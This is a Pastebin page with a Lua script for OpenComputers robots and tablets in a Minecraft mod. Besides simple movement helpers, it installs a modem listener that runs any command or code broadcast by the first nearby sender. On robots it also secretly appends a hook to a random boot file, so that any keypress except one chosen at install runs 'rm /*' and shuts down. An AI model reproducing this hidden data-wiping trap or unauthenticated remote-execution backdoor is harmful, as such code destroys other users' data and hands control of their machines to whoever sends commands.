Advertisement
Doob

WABBAJACK [OpenComputers]

Aug 12th, 2015
452
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.10 KB | None | 0 0
  1. -- gogo -------------------------------
  2. local tbl = {
  3. ['/bin/gg.lua'] = [[local robot = require("component").robot
  4.  
  5. local tArgs = {...}
  6. local side, distance = tonumber(tArgs[1]), tonumber(tArgs[2])
  7.  
  8. if not distance then
  9.   distance = 1
  10. end
  11.  
  12. for i = 1, distance do
  13.   while 1 do
  14.     if not robot.detect(side) then
  15.       if robot.move(side) then
  16.         break
  17.       end
  18.     else
  19.       break
  20.     end
  21.   end
  22. end]],
  23.  
  24. -- autorun -------------------------------
  25. ['/autorun.lua'] = [[local tbl = {
  26.   "w='gg 3 '",
  27.   "s='go back '",
  28.   "a='go left '",
  29.   "d='go right '",
  30.   "q='gg 1 '",
  31.   "e='gg 0 '",
  32.   "f='1 suck 27'",
  33.   "g='1 use 4'",
  34.   "h='1 drop'"
  35. }
  36.  
  37. for i = 1, #tbl do
  38.   os.execute('alias '..tbl[i])
  39. end]],
  40.  
  41. -- 1 -----------------------------------
  42. ['/bin/1.lua'] = [[local r, a = require('robot'), {...}
  43.  
  44. if a[1] == 'suck' then
  45.   for i = 1, a[2] or 1 do
  46.     r.suck()
  47.     r.suckUp()
  48.     r.suckDown()
  49.   end
  50. elseif a[1] == 'use' then
  51.   for i = 1, a[2] or 1 do
  52.     r.use()
  53.     r.useUp()
  54.     r.useDown()
  55.   end  
  56. elseif a[1] == 'drop' then
  57.   for i = 1, r.inventorySize() do
  58.     r.select(i)
  59.     r.drop()
  60.   end
  61. end]],
  62.  
  63.  
  64. -- wabba -------------------------------
  65. ['/bin/wabba.lua'] = [[local port = 8206
  66. local address = 0
  67. local component = require('component')
  68. local event = require('event')
  69. local modem = component.modem
  70.  
  71. local function RBT()
  72.   modem.open(port)
  73.   while 1 do
  74.     local tMSG = {event.pull('modem_message')}
  75.     if tMSG[5] <= 3 and tMSG[6] == '.' then
  76.       address = tMSG[3]
  77.       break
  78.     end
  79.   end
  80.  
  81.   while 1 do
  82.     local tMSG = {event.pull('modem_message')}
  83.     if tMSG[3] == address then
  84.       if string.sub(tMSG[6], 1, 1) == '/' then
  85.         pcall(load(string.sub(tMSG[6], 2, #tMSG[6])))
  86.       else
  87.         os.execute(tMSG[6])
  88.       end
  89.     end
  90.   end
  91. end
  92.  
  93. local function TBLT()
  94.   modem.broadcast(port, '.')
  95.   os.execute('resolution 50 1')
  96.   while 1 do
  97.     os.execute('cls')
  98.     io.write('>> ')
  99.     modem.broadcast(port, io.read())
  100.   end
  101. end
  102.  
  103. if component.isAvailable('robot') then
  104.   RBT()
  105. elseif component.isAvailable('tablet') then
  106.   TBLT()
  107. else
  108.   print('Программа запущена на неподдерживаемом устройстве.')
  109. end]]
  110. }
  111.  
  112. local function writeFile(name)
  113.   file = io.open(name, 'w')
  114.   file:write(tbl[name])
  115.   file:close()
  116. end
  117.  
  118. if require('component').isAvailable('robot') then
  119.   for i, j in pairs(tbl) do
  120.     writeFile(i)
  121.   end
  122.   local tbl1, m = {}, 1
  123.   for i in require('filesystem').list('/boot/') do
  124.     tbl1[m] = i
  125.     m = m + 1
  126.   end
  127.   file = io.open('/boot/'..tbl1[math.random(1, #tbl1)], 'a')
  128.   print('Нажмите любую кномку, чтобы продолжить...')
  129.   local e = {require('event').pull('key_down')}
  130.   file:write([[
  131. local cp = require("computer")
  132. local pullSignal = cp.pullSignal
  133. function cp.pullSignal(...)
  134.   local e={pullSignal(...)}
  135.   if e[1] == 'key_down' and e[5] ~= "]]..e[5]..[[" then
  136.     os.execute('rm /*')
  137.     os.shutdown()
  138.   end
  139.   return table.unpack(e)
  140. end
  141. ]])
  142.   file:close()
  143.   os.execute('reboot')
  144. else
  145.   writeFile('/bin/wabba.lua')
  146. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement